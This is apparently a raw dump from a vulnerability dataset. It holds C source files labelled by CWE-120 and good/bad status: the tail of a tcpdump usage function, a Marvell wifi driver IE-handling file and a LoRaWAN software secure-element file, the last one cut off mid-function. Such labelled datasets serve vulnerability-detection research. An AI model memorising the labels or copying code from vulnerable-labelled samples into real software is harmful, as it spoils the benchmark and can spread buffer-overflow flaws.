]\n"); #ifdef HAVE_PCAP_SETDIRECTION (void)fprintf(stderr, "\t\t[ -Q in|out|inout ]\n"); #endif (void)fprintf(stderr, "\t\t[ -r file ] [ -s snaplen ] "); #ifdef HAVE_PCAP_SET_TSTAMP_PRECISION (void)fprintf(stderr, "[ --time-stamp-precision precision ]\n"); (void)fprintf(stderr, "\t\t"); #endif #ifdef HAVE_PCAP_SET_IMMEDIATE_MODE (void)fprintf(stderr, "[ --immediate-mode ] "); #endif (void)fprintf(stderr, "[ -T type ] [ --version ] [ -V file ]\n"); (void)fprintf(stderr, "\t\t[ -w file ] [ -W filecount ] [ -y datalinktype ] [ -z postrotate-command ]\n"); (void)fprintf(stderr, "\t\t[ -Z user ] [ expression ]\n"); } /* * Local Variables: * c-style: whitesmith * c-basic-offset: 8 * End: */
./CrossVul/dataset_final_sorted/CWE-120/c/bad_287_0
crossvul-cpp_data_good_999_0
/* * Marvell Wireless LAN device driver: management IE handling- setting and * deleting IE. * * Copyright (C) 2012-2014, Marvell International Ltd. * * This software file (the "File") is distributed by Marvell International * Ltd. under the terms of the GNU General Public License Version 2, June 1991 * (the "License"). You may use, redistribute and/or modify this File in * accordance with the terms and conditions of the License, a copy of which * is available by writing to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA or on the * worldwide web at http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. * * THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE * IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE * ARE EXPRESSLY DISCLAIMED. The License provides additional details about * this warranty disclaimer. */ #include "main.h" /* This function checks if current IE index is used by any on other interface. * Return: -1: yes, current IE index is used by someone else. * 0: no, current IE index is NOT used by other interface. */ static int mwifiex_ie_index_used_by_other_intf(struct mwifiex_private *priv, u16 idx) { int i; struct mwifiex_adapter *adapter = priv->adapter; struct mwifiex_ie *ie; for (i = 0; i < adapter->priv_num; i++) { if (adapter->priv[i] != priv) { ie = &adapter->priv[i]->mgmt_ie[idx]; if (ie->mgmt_subtype_mask && ie->ie_length) return -1; } } return 0; } /* Get unused IE index. This index will be used for setting new IE */ static int mwifiex_ie_get_autoidx(struct mwifiex_private *priv, u16 subtype_mask, struct mwifiex_ie *ie, u16 *index) { u16 mask, len, i; for (i = 0; i < priv->adapter->max_mgmt_ie_index; i++) { mask = le16_to_cpu(priv->mgmt_ie[i].mgmt_subtype_mask); len = le16_to_cpu(ie->ie_length); if (mask == MWIFIEX_AUTO_IDX_MASK) continue; if (mask == subtype_mask) { if (len > IEEE_MAX_IE_SIZE) continue; *index = i; return 0; } if (!priv->mgmt_ie[i].ie_length) { if (mwifiex_ie_index_used_by_other_intf(priv, i)) continue; *index = i; return 0; } } return -1; } /* This function prepares IE data buffer for command to be sent to FW */ static int mwifiex_update_autoindex_ies(struct mwifiex_private *priv, struct mwifiex_ie_list *ie_list) { u16 travel_len, index, mask; s16 input_len, tlv_len; struct mwifiex_ie *ie; u8 *tmp; input_len = le16_to_cpu(ie_list->len); travel_len = sizeof(struct mwifiex_ie_types_header); ie_list->len = 0; while (input_len >= sizeof(struct mwifiex_ie_types_header)) { ie = (struct mwifiex_ie *)(((u8 *)ie_list) + travel_len); tlv_len = le16_to_cpu(ie->ie_length); travel_len += tlv_len + MWIFIEX_IE_HDR_SIZE; if (input_len < tlv_len + MWIFIEX_IE_HDR_SIZE) return -1; index = le16_to_cpu(ie->ie_index); mask = le16_to_cpu(ie->mgmt_subtype_mask); if (index == MWIFIEX_AUTO_IDX_MASK) { /* automatic addition */ if (mwifiex_ie_get_autoidx(priv, mask, ie, &index)) return -1; if (index == MWIFIEX_AUTO_IDX_MASK) return -1; tmp = (u8 *)&priv->mgmt_ie[index].ie_buffer; memcpy(tmp, &ie->ie_buffer, le16_to_cpu(ie->ie_length)); priv->mgmt_ie[index].ie_length = ie->ie_length; priv->mgmt_ie[index].ie_index = cpu_to_le16(index); priv->mgmt_ie[index].mgmt_subtype_mask = cpu_to_le16(mask); ie->ie_index = cpu_to_le16(index); } else { if (mask != MWIFIEX_DELETE_MASK) return -1; /* * Check if this index is being used on any * other interface. */ if (mwifiex_ie_index_used_by_other_intf(priv, index)) return -1; ie->ie_length = 0; memcpy(&priv->mgmt_ie[index], ie, sizeof(struct mwifiex_ie)); } le16_unaligned_add_cpu(&ie_list->len, le16_to_cpu( priv->mgmt_ie[index].ie_length) + MWIFIEX_IE_HDR_SIZE); input_len -= tlv_len + MWIFIEX_IE_HDR_SIZE; } if (GET_BSS_ROLE(priv) == MWIFIEX_BSS_ROLE_UAP) return mwifiex_send_cmd(priv, HostCmd_CMD_UAP_SYS_CONFIG, HostCmd_ACT_GEN_SET, UAP_CUSTOM_IE_I, ie_list, true); return 0; } /* Copy individual custom IEs for beacon, probe response and assoc response * and prepare single structure for IE setting. * This function also updates allocated IE indices from driver. */ static int mwifiex_update_uap_custom_ie(struct mwifiex_private *priv, struct mwifiex_ie *beacon_ie, u16 *beacon_idx, struct mwifiex_ie *pr_ie, u16 *probe_idx, struct mwifiex_ie *ar_ie, u16 *assoc_idx) { struct mwifiex_ie_list *ap_custom_ie; u8 *pos; u16 len; int ret; ap_custom_ie = kzalloc(sizeof(*ap_custom_ie), GFP_KERNEL); if (!ap_custom_ie) return -ENOMEM; ap_custom_ie->type = cpu_to_le16(TLV_TYPE_MGMT_IE); pos = (u8 *)ap_custom_ie->ie_list; if (beacon_ie) { len = sizeof(struct mwifiex_ie) - IEEE_MAX_IE_SIZE + le16_to_cpu(beacon_ie->ie_length); memcpy(pos, beacon_ie, len); pos += len; le16_unaligned_add_cpu(&ap_custom_ie->len, len); } if (pr_ie) { len = sizeof(struct mwifiex_ie) - IEEE_MAX_IE_SIZE + le16_to_cpu(pr_ie->ie_length); memcpy(pos, pr_ie, len); pos += len; le16_unaligned_add_cpu(&ap_custom_ie->len, len); } if (ar_ie) { len = sizeof(struct mwifiex_ie) - IEEE_MAX_IE_SIZE + le16_to_cpu(ar_ie->ie_length); memcpy(pos, ar_ie, len); pos += len; le16_unaligned_add_cpu(&ap_custom_ie->len, len); } ret = mwifiex_update_autoindex_ies(priv, ap_custom_ie); pos = (u8 *)(&ap_custom_ie->ie_list[0].ie_index); if (beacon_ie && *beacon_idx == MWIFIEX_AUTO_IDX_MASK) { /* save beacon ie index after auto-indexing */ *beacon_idx = le16_to_cpu(ap_custom_ie->ie_list[0].ie_index); len = sizeof(*beacon_ie) - IEEE_MAX_IE_SIZE + le16_to_cpu(beacon_ie->ie_length); pos += len; } if (pr_ie && le16_to_cpu(pr_ie->ie_index) == MWIFIEX_AUTO_IDX_MASK) { /* save probe resp ie index after auto-indexing */ *probe_idx = *((u16 *)pos); len = sizeof(*pr_ie) - IEEE_MAX_IE_SIZE + le16_to_cpu(pr_ie->ie_length); pos += len; } if (ar_ie && le16_to_cpu(ar_ie->ie_index) == MWIFIEX_AUTO_IDX_MASK) /* save assoc resp ie index after auto-indexing */ *assoc_idx = *((u16 *)pos); kfree(ap_custom_ie); return ret; } /* This function checks if the vendor specified IE is present in passed buffer * and copies it to mwifiex_ie structure. * Function takes pointer to struct mwifiex_ie pointer as argument. * If the vendor specified IE is present then memory is allocated for * mwifiex_ie pointer and filled in with IE. Caller should take care of freeing * this memory. */ static int mwifiex_update_vs_ie(const u8 *ies, int ies_len, struct mwifiex_ie **ie_ptr, u16 mask, unsigned int oui, u8 oui_type) { struct ieee_types_header *vs_ie; struct mwifiex_ie *ie = *ie_ptr; const u8 *vendor_ie; vendor_ie = cfg80211_find_vendor_ie(oui, oui_type, ies, ies_len); if (vendor_ie) { if (!*ie_ptr) { *ie_ptr = kzalloc(sizeof(struct mwifiex_ie), GFP_KERNEL); if (!*ie_ptr) return -ENOMEM; ie = *ie_ptr; } vs_ie = (struct ieee_types_header *)vendor_ie; if (le16_to_cpu(ie->ie_length) + vs_ie->len + 2 > IEEE_MAX_IE_SIZE) return -EINVAL; memcpy(ie->ie_buffer + le16_to_cpu(ie->ie_length), vs_ie, vs_ie->len + 2); le16_unaligned_add_cpu(&ie->ie_length, vs_ie->len + 2); ie->mgmt_subtype_mask = cpu_to_le16(mask); ie->ie_index = cpu_to_le16(MWIFIEX_AUTO_IDX_MASK); } *ie_ptr = ie; return 0; } /* This function parses beacon IEs, probe response IEs, association response IEs * from cfg80211_ap_settings->beacon and sets these IE to FW. */ static int mwifiex_set_mgmt_beacon_data_ies(struct mwifiex_private *priv, struct cfg80211_beacon_data *data) { struct mwifiex_ie *beacon_ie = NULL, *pr_ie = NULL, *ar_ie = NULL; u16 beacon_idx = MWIFIEX_AUTO_IDX_MASK, pr_idx = MWIFIEX_AUTO_IDX_MASK; u16 ar_idx = MWIFIEX_AUTO_IDX_MASK; int ret = 0; if (data->beacon_ies && data->beacon_ies_len) { mwifiex_update_vs_ie(data->beacon_ies, data->beacon_ies_len, &beacon_ie, MGMT_MASK_BEACON, WLAN_OUI_MICROSOFT, WLAN_OUI_TYPE_MICROSOFT_WPS); mwifiex_update_vs_ie(data->beacon_ies, data->beacon_ies_len, &beacon_ie, MGMT_MASK_BEACON, WLAN_OUI_WFA, WLAN_OUI_TYPE_WFA_P2P); } if (data->proberesp_ies && data->proberesp_ies_len) { mwifiex_update_vs_ie(data->proberesp_ies, data->proberesp_ies_len, &pr_ie, MGMT_MASK_PROBE_RESP, WLAN_OUI_MICROSOFT, WLAN_OUI_TYPE_MICROSOFT_WPS); mwifiex_update_vs_ie(data->proberesp_ies, data->proberesp_ies_len, &pr_ie, MGMT_MASK_PROBE_RESP, WLAN_OUI_WFA, WLAN_OUI_TYPE_WFA_P2P); } if (data->assocresp_ies && data->assocresp_ies_len) { mwifiex_update_vs_ie(data->assocresp_ies, data->assocresp_ies_len, &ar_ie, MGMT_MASK_ASSOC_RESP | MGMT_MASK_REASSOC_RESP, WLAN_OUI_MICROSOFT, WLAN_OUI_TYPE_MICROSOFT_WPS); mwifiex_update_vs_ie(data->assocresp_ies, data->assocresp_ies_len, &ar_ie, MGMT_MASK_ASSOC_RESP | MGMT_MASK_REASSOC_RESP, WLAN_OUI_WFA, WLAN_OUI_TYPE_WFA_P2P); } if (beacon_ie || pr_ie || ar_ie) { ret = mwifiex_update_uap_custom_ie(priv, beacon_ie, &beacon_idx, pr_ie, &pr_idx, ar_ie, &ar_idx); if (ret) goto done; } priv->beacon_idx = beacon_idx; priv->proberesp_idx = pr_idx; priv->assocresp_idx = ar_idx; done: kfree(beacon_ie); kfree(pr_ie); kfree(ar_ie); return ret; } /* This function parses head and tail IEs, from cfg80211_beacon_data and sets * these IE to FW. */ static int mwifiex_uap_parse_tail_ies(struct mwifiex_private *priv, struct cfg80211_beacon_data *info) { struct mwifiex_ie *gen_ie; struct ieee_types_header *hdr; struct ieee80211_vendor_ie *vendorhdr; u16 gen_idx = MWIFIEX_AUTO_IDX_MASK, ie_len = 0; int left_len, parsed_len = 0; unsigned int token_len; int err = 0; if (!info->tail || !info->tail_len) return 0; gen_ie = kzalloc(sizeof(*gen_ie), GFP_KERNEL); if (!gen_ie) return -ENOMEM; left_len = info->tail_len; /* Many IEs are generated in FW by parsing bss configuration. * Let's not add them here; else we may end up duplicating these IEs */ while (left_len > sizeof(struct ieee_types_header)) { hdr = (void *)(info->tail + parsed_len); token_len = hdr->len + sizeof(struct ieee_types_header); if (token_len > left_len) { err = -EINVAL; goto out; } switch (hdr->element_id) { case WLAN_EID_SSID: case WLAN_EID_SUPP_RATES: case WLAN_EID_COUNTRY: case WLAN_EID_PWR_CONSTRAINT: case WLAN_EID_ERP_INFO: case WLAN_EID_EXT_SUPP_RATES: case WLAN_EID_HT_CAPABILITY: case WLAN_EID_HT_OPERATION: case WLAN_EID_VHT_CAPABILITY: case WLAN_EID_VHT_OPERATION: break; case WLAN_EID_VENDOR_SPECIFIC: /* Skip only Microsoft WMM IE */ if (cfg80211_find_vendor_ie(WLAN_OUI_MICROSOFT, WLAN_OUI_TYPE_MICROSOFT_WMM, (const u8 *)hdr, token_len)) break; /* fall through */ default: if (ie_len + token_len > IEEE_MAX_IE_SIZE) { err = -EINVAL; goto out; } memcpy(gen_ie->ie_buffer + ie_len, hdr, token_len); ie_len += token_len; break; } left_len -= token_len; parsed_len += token_len; } /* parse only WPA vendor IE from tail, WMM IE is configured by * bss_config command */ vendorhdr = (void *)cfg80211_find_vendor_ie(WLAN_OUI_MICROSOFT, WLAN_OUI_TYPE_MICROSOFT_WPA, info->tail, info->tail_len); if (vendorhdr) { token_len = vendorhdr->len + sizeof(struct ieee_types_header); if (ie_len + token_len > IEEE_MAX_IE_SIZE) { err = -EINVAL; goto out; } memcpy(gen_ie->ie_buffer + ie_len, vendorhdr, token_len); ie_len += token_len; } if (!ie_len) goto out; gen_ie->ie_index = cpu_to_le16(gen_idx); gen_ie->mgmt_subtype_mask = cpu_to_le16(MGMT_MASK_BEACON | MGMT_MASK_PROBE_RESP | MGMT_MASK_ASSOC_RESP); gen_ie->ie_length = cpu_to_le16(ie_len); if (mwifiex_update_uap_custom_ie(priv, gen_ie, &gen_idx, NULL, NULL, NULL, NULL)) { err = -EINVAL; goto out; } priv->gen_idx = gen_idx; out: kfree(gen_ie); return err; } /* This function parses different IEs-head & tail IEs, beacon IEs, * probe response IEs, association response IEs from cfg80211_ap_settings * function and sets these IE to FW. */ int mwifiex_set_mgmt_ies(struct mwifiex_private *priv, struct cfg80211_beacon_data *info) { int ret; ret = mwifiex_uap_parse_tail_ies(priv, info); if (ret) return ret; return mwifiex_set_mgmt_beacon_data_ies(priv, info); } /* This function removes management IE set */ int mwifiex_del_mgmt_ies(struct mwifiex_private *priv) { struct mwifiex_ie *beacon_ie = NULL, *pr_ie = NULL; struct mwifiex_ie *ar_ie = NULL, *gen_ie = NULL; int ret = 0; if (priv->gen_idx != MWIFIEX_AUTO_IDX_MASK) { gen_ie = kmalloc(sizeof(*gen_ie), GFP_KERNEL); if (!gen_ie) return -ENOMEM; gen_ie->ie_index = cpu_to_le16(priv->gen_idx); gen_ie->mgmt_subtype_mask = cpu_to_le16(MWIFIEX_DELETE_MASK); gen_ie->ie_length = 0; if (mwifiex_update_uap_custom_ie(priv, gen_ie, &priv->gen_idx, NULL, &priv->proberesp_idx, NULL, &priv->assocresp_idx)) { ret = -1; goto done; } priv->gen_idx = MWIFIEX_AUTO_IDX_MASK; } if (priv->beacon_idx != MWIFIEX_AUTO_IDX_MASK) { beacon_ie = kmalloc(sizeof(struct mwifiex_ie), GFP_KERNEL); if (!beacon_ie) { ret = -ENOMEM; goto done; } beacon_ie->ie_index = cpu_to_le16(priv->beacon_idx); beacon_ie->mgmt_subtype_mask = cpu_to_le16(MWIFIEX_DELETE_MASK); beacon_ie->ie_length = 0; } if (priv->proberesp_idx != MWIFIEX_AUTO_IDX_MASK) { pr_ie = kmalloc(sizeof(struct mwifiex_ie), GFP_KERNEL); if (!pr_ie) { ret = -ENOMEM; goto done; } pr_ie->ie_index = cpu_to_le16(priv->proberesp_idx); pr_ie->mgmt_subtype_mask = cpu_to_le16(MWIFIEX_DELETE_MASK); pr_ie->ie_length = 0; } if (priv->assocresp_idx != MWIFIEX_AUTO_IDX_MASK) { ar_ie = kmalloc(sizeof(struct mwifiex_ie), GFP_KERNEL); if (!ar_ie) { ret = -ENOMEM; goto done; } ar_ie->ie_index = cpu_to_le16(priv->assocresp_idx); ar_ie->mgmt_subtype_mask = cpu_to_le16(MWIFIEX_DELETE_MASK); ar_ie->ie_length = 0; } if (beacon_ie || pr_ie || ar_ie) ret = mwifiex_update_uap_custom_ie(priv, beacon_ie, &priv->beacon_idx, pr_ie, &priv->proberesp_idx, ar_ie, &priv->assocresp_idx); done: kfree(gen_ie); kfree(beacon_ie); kfree(pr_ie); kfree(ar_ie); return ret; }
./CrossVul/dataset_final_sorted/CWE-120/c/good_999_0
crossvul-cpp_data_good_3927_3
/*! * \file soft-se.c * * \brief Secure Element software implementation * * \copyright Revised BSD License, see section \ref LICENSE. * * \code * ______ _ * / _____) _ | | * ( (____ _____ ____ _| |_ _____ ____| |__ * \____ \| ___ | (_ _) ___ |/ ___) _ \ * _____) ) ____| | | || |_| ____( (___| | | | * (______/|_____)_|_|_| \__)_____)\____)_| |_| * (C)2020 Semtech * * ___ _____ _ ___ _ _____ ___ ___ ___ ___ * / __|_ _/_\ / __| |/ / __/ _ \| _ \/ __| __| * \__ \ | |/ _ \ (__| ' <| _| (_) | / (__| _| * |___/ |_/_/ \_\___|_|\_\_| \___/|_|_\\___|___| * embedded.connectivity.solutions=============== * * \endcode * */ #include <stdlib.h> #include <stdint.h> #include "utilities.h" #include "aes.h" #include "cmac.h" #include "LoRaMacHeaderTypes.h" #include "secure-element.h" #include "se-identity.h" #include "soft-se-hal.h" /*! * Number of supported crypto keys */ #define NUM_OF_KEYS 23 /*! * Identifier value pair type for Keys */ typedef struct sKey { /* * Key identifier */ KeyIdentifier_t KeyID; /* * Key value */ uint8_t KeyValue[SE_KEY_SIZE]; } Key_t; /* * Secure Element Non Volatile Context structure */ typedef struct sSecureElementNvCtx { /* * DevEUI storage */ uint8_t DevEui[SE_EUI_SIZE]; /* * Join EUI storage */ uint8_t JoinEui[SE_EUI_SIZE]; /* * Pin storage */ uint8_t Pin[SE_PIN_SIZE]; /* * AES computation context variable */ aes_context AesContext; /* * CMAC computation context variable */ AES_CMAC_CTX AesCmacCtx[1]; /* * Key List */ Key_t KeyList[NUM_OF_KEYS]; } SecureElementNvCtx_t; /*! * Secure element context */ static SecureElementNvCtx_t SeNvmCtx = { /*! * end-device IEEE EUI (big endian) * * \remark In this application the value is automatically generated by calling * BoardGetUniqueId function */ .DevEui = LORAWAN_DEVICE_EUI, /*! * App/Join server IEEE EUI (big endian) */ .JoinEui = LORAWAN_JOIN_EUI, /*! * Secure-element pin (big endian) */ .Pin = SECURE_ELEMENT_PIN, /*! * LoRaWAN key list */ .KeyList = SOFT_SE_KEY_LIST }; static SecureElementNvmEvent SeNvmCtxChanged; /* * Local functions */ /* * Gets key item from key list. * * \param[IN] keyID - Key identifier * \param[OUT] keyItem - Key item reference * \retval - Status of the operation */ static SecureElementStatus_t GetKeyByID( KeyIdentifier_t keyID, Key_t** keyItem ) { for( uint8_t i = 0; i < NUM_OF_KEYS; i++ ) { if( SeNvmCtx.KeyList[i].KeyID == keyID ) { *keyItem = &( SeNvmCtx.KeyList[i] ); return SECURE_ELEMENT_SUCCESS; } } return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } /* * Dummy callback in case if the user provides NULL function pointer */ static void DummyCB( void ) { return; } /* * Computes a CMAC of a message using provided initial Bx block * * cmac = aes128_cmac(keyID, blocks[i].Buffer) * * \param[IN] micBxBuffer - Buffer containing the initial Bx block * \param[IN] buffer - Data buffer * \param[IN] size - Data buffer size * \param[IN] keyID - Key identifier to determine the AES key to be used * \param[OUT] cmac - Computed cmac * \retval - Status of the operation */ static SecureElementStatus_t ComputeCmac( uint8_t* micBxBuffer, uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint32_t* cmac ) { if( ( buffer == NULL ) || ( cmac == NULL ) ) { return SECURE_ELEMENT_ERROR_NPE; } uint8_t Cmac[16]; AES_CMAC_Init( SeNvmCtx.AesCmacCtx ); Key_t* keyItem; SecureElementStatus_t retval = GetKeyByID( keyID, &keyItem ); if( retval == SECURE_ELEMENT_SUCCESS ) { AES_CMAC_SetKey( SeNvmCtx.AesCmacCtx, keyItem->KeyValue ); if( micBxBuffer != NULL ) { AES_CMAC_Update( SeNvmCtx.AesCmacCtx, micBxBuffer, 16 ); } AES_CMAC_Update( SeNvmCtx.AesCmacCtx, buffer, size ); AES_CMAC_Final( Cmac, SeNvmCtx.AesCmacCtx ); // Bring into the required format *cmac = ( uint32_t )( ( uint32_t ) Cmac[3] << 24 | ( uint32_t ) Cmac[2] << 16 | ( uint32_t ) Cmac[1] << 8 | ( uint32_t ) Cmac[0] ); } return retval; } /* * API functions */ SecureElementStatus_t SecureElementInit( SecureElementNvmEvent seNvmCtxChanged ) { // Assign callback if( seNvmCtxChanged != 0 ) { SeNvmCtxChanged = seNvmCtxChanged; } else { SeNvmCtxChanged = DummyCB; } #if !defined( SECURE_ELEMENT_PRE_PROVISIONED ) #if( STATIC_DEVICE_EUI == 0 ) // Get a DevEUI from MCU unique ID SoftSeHalGetUniqueId( SeNvmCtx.DevEui ); #endif #endif SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementRestoreNvmCtx( void* seNvmCtx ) { // Restore nvm context if( seNvmCtx != 0 ) { memcpy1( ( uint8_t* ) &SeNvmCtx, ( uint8_t* ) seNvmCtx, sizeof( SeNvmCtx ) ); return SECURE_ELEMENT_SUCCESS; } else { return SECURE_ELEMENT_ERROR_NPE; } } void* SecureElementGetNvmCtx( size_t* seNvmCtxSize ) { *seNvmCtxSize = sizeof( SeNvmCtx ); return &SeNvmCtx; } SecureElementStatus_t SecureElementSetKey( KeyIdentifier_t keyID, uint8_t* key ) { if( key == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } for( uint8_t i = 0; i < NUM_OF_KEYS; i++ ) { if( SeNvmCtx.KeyList[i].KeyID == keyID ) { if( ( keyID == MC_KEY_0 ) || ( keyID == MC_KEY_1 ) || ( keyID == MC_KEY_2 ) || ( keyID == MC_KEY_3 ) ) { // Decrypt the key if its a Mckey SecureElementStatus_t retval = SECURE_ELEMENT_ERROR; uint8_t decryptedKey[16] = { 0 }; retval = SecureElementAesEncrypt( key, 16, MC_KE_KEY, decryptedKey ); memcpy1( SeNvmCtx.KeyList[i].KeyValue, decryptedKey, SE_KEY_SIZE ); SeNvmCtxChanged( ); return retval; } else { memcpy1( SeNvmCtx.KeyList[i].KeyValue, key, SE_KEY_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } } } return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } SecureElementStatus_t SecureElementComputeAesCmac( uint8_t* micBxBuffer, uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint32_t* cmac ) { if( keyID >= LORAMAC_CRYPTO_MULTICAST_KEYS ) { // Never accept multicast key identifier for cmac computation return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } return ComputeCmac( micBxBuffer, buffer, size, keyID, cmac ); } SecureElementStatus_t SecureElementVerifyAesCmac( uint8_t* buffer, uint16_t size, uint32_t expectedCmac, KeyIdentifier_t keyID ) { if( buffer == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } SecureElementStatus_t retval = SECURE_ELEMENT_ERROR; uint32_t compCmac = 0; retval = ComputeCmac( NULL, buffer, size, keyID, &compCmac ); if( retval != SECURE_ELEMENT_SUCCESS ) { return retval; } if( expectedCmac != compCmac ) { retval = SECURE_ELEMENT_FAIL_CMAC; } return retval; } SecureElementStatus_t SecureElementAesEncrypt( uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint8_t* encBuffer ) { if( buffer == NULL || encBuffer == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } // Check if the size is divisible by 16, if( ( size % 16 ) != 0 ) { return SECURE_ELEMENT_ERROR_BUF_SIZE; } memset1( SeNvmCtx.AesContext.ksch, '\0', 240 ); Key_t* pItem; SecureElementStatus_t retval = GetKeyByID( keyID, &pItem ); if( retval == SECURE_ELEMENT_SUCCESS ) { aes_set_key( pItem->KeyValue, 16, &SeNvmCtx.AesContext ); uint8_t block = 0; while( size != 0 ) { aes_encrypt( &buffer[block], &encBuffer[block], &SeNvmCtx.AesContext ); block = block + 16; size = size - 16; } } return retval; } SecureElementStatus_t SecureElementDeriveAndStoreKey( Version_t version, uint8_t* input, KeyIdentifier_t rootKeyID, KeyIdentifier_t targetKeyID ) { if( input == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } SecureElementStatus_t retval = SECURE_ELEMENT_ERROR; uint8_t key[16] = { 0 }; // In case of MC_KE_KEY, only McRootKey can be used as root key if( targetKeyID == MC_KE_KEY ) { if( rootKeyID != MC_ROOT_KEY ) { return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } } // Derive key retval = SecureElementAesEncrypt( input, 16, rootKeyID, key ); if( retval != SECURE_ELEMENT_SUCCESS ) { return retval; } // Store key retval = SecureElementSetKey( targetKeyID, key ); if( retval != SECURE_ELEMENT_SUCCESS ) { return retval; } return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementProcessJoinAccept( JoinReqIdentifier_t joinReqType, uint8_t* joinEui, uint16_t devNonce, uint8_t* encJoinAccept, uint8_t encJoinAcceptSize, uint8_t* decJoinAccept, uint8_t* versionMinor ) { if( ( encJoinAccept == NULL ) || ( decJoinAccept == NULL ) || ( versionMinor == NULL ) ) { return SECURE_ELEMENT_ERROR_NPE; } // Check that frame size isn't bigger than a JoinAccept with CFList size if( encJoinAcceptSize > LORAMAC_JOIN_ACCEPT_FRAME_MAX_SIZE ) { return SECURE_ELEMENT_ERROR_BUF_SIZE; } // Determine decryption key KeyIdentifier_t encKeyID = NWK_KEY; if( joinReqType != JOIN_REQ ) { encKeyID = J_S_ENC_KEY; } memcpy1( decJoinAccept, encJoinAccept, encJoinAcceptSize ); // Decrypt JoinAccept, skip MHDR if( SecureElementAesEncrypt( encJoinAccept + LORAMAC_MHDR_FIELD_SIZE, encJoinAcceptSize - LORAMAC_MHDR_FIELD_SIZE, encKeyID, decJoinAccept + LORAMAC_MHDR_FIELD_SIZE ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_FAIL_ENCRYPT; } *versionMinor = ( ( decJoinAccept[11] & 0x80 ) == 0x80 ) ? 1 : 0; uint32_t mic = 0; mic = ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE] << 0 ); mic |= ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE + 1] << 8 ); mic |= ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE + 2] << 16 ); mic |= ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE + 3] << 24 ); // - Header buffer to be used for MIC computation // - LoRaWAN 1.0.x : micHeader = [MHDR(1)] // - LoRaWAN 1.1.x : micHeader = [JoinReqType(1), JoinEUI(8), DevNonce(2), MHDR(1)] // Verify mic if( *versionMinor == 0 ) { // For LoRaWAN 1.0.x // cmac = aes128_cmac(NwkKey, MHDR | JoinNonce | NetID | DevAddr | DLSettings | RxDelay | CFList | // CFListType) if( SecureElementVerifyAesCmac( decJoinAccept, ( encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE ), mic, NWK_KEY ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_FAIL_CMAC; } } #if( USE_LRWAN_1_1_X_CRYPTO == 1 ) else if( *versionMinor == 1 ) { uint8_t micHeader11[JOIN_ACCEPT_MIC_COMPUTATION_OFFSET] = { 0 }; uint16_t bufItr = 0; micHeader11[bufItr++] = ( uint8_t ) joinReqType; memcpyr( micHeader11 + bufItr, joinEui, LORAMAC_JOIN_EUI_FIELD_SIZE ); bufItr += LORAMAC_JOIN_EUI_FIELD_SIZE; micHeader11[bufItr++] = devNonce & 0xFF; micHeader11[bufItr++] = ( devNonce >> 8 ) & 0xFF; // For LoRaWAN 1.1.x and later: // cmac = aes128_cmac(JSIntKey, JoinReqType | JoinEUI | DevNonce | MHDR | JoinNonce | NetID | DevAddr | // DLSettings | RxDelay | CFList | CFListType) // Prepare the msg for integrity check (adding JoinReqType, JoinEUI and DevNonce) uint8_t localBuffer[LORAMAC_JOIN_ACCEPT_FRAME_MAX_SIZE + JOIN_ACCEPT_MIC_COMPUTATION_OFFSET] = { 0 }; memcpy1( localBuffer, micHeader11, JOIN_ACCEPT_MIC_COMPUTATION_OFFSET ); memcpy1( localBuffer + JOIN_ACCEPT_MIC_COMPUTATION_OFFSET - 1, decJoinAccept, encJoinAcceptSize ); if( SecureElementVerifyAesCmac( localBuffer, encJoinAcceptSize + JOIN_ACCEPT_MIC_COMPUTATION_OFFSET - LORAMAC_MHDR_FIELD_SIZE - LORAMAC_MIC_FIELD_SIZE, mic, J_S_INT_KEY ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_FAIL_CMAC; } } #endif else { return SECURE_ELEMENT_ERROR_INVALID_LORAWAM_SPEC_VERSION; } return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementRandomNumber( uint32_t* randomNum ) { if( randomNum == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } *randomNum = SoftSeHalGetRandomNumber( ); return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementSetDevEui( uint8_t* devEui ) { if( devEui == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeNvmCtx.DevEui, devEui, SE_EUI_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetDevEui( void ) { return SeNvmCtx.DevEui; } SecureElementStatus_t SecureElementSetJoinEui( uint8_t* joinEui ) { if( joinEui == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeNvmCtx.JoinEui, joinEui, SE_EUI_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetJoinEui( void ) { return SeNvmCtx.JoinEui; } SecureElementStatus_t SecureElementSetPin( uint8_t* pin ) { if( pin == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeNvmCtx.Pin, pin, SE_PIN_SIZE ); SeNvmCtxChanged( ); return 